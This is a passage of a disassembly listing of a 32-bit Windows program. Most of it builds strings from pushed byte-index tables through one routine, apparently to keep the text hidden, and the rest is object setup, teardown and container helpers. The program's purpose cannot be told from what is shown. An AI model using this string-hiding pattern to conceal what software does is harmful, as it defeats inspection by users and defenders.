		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 29h
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		mov	byte ptr [esp+37Ch], 2Ah
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 2Fh
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 32h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		mov	byte ptr [esp+388h], 33h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 36h
		call	sub_4019B5
		add	esp, 64h
		mov	byte ptr [esp+370h], 37h
		mov	ecx, eax
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 38h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 3Fh
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 41h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+158h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 44h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3D4h], 48h
		push	13h
		lea	eax, [esp+94h]
		push	eax
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+170h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 50h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F70
		push	offset word_4E6E9A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
		add	esp, 8
		push	eax
		lea	eax, [esp+234h]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
		add	esp, 14h
		push	eax
		push	offset dword_4437F4
		lea	ecx, [esp+268h]
		push	ecx
		call	sub_40102D
		sub	esp, 0Ch
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		push	eax
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1B8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E9A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+110h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473E4
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472C0
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_447309
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44739B
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401596
		lea	ecx, [esp+1D0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
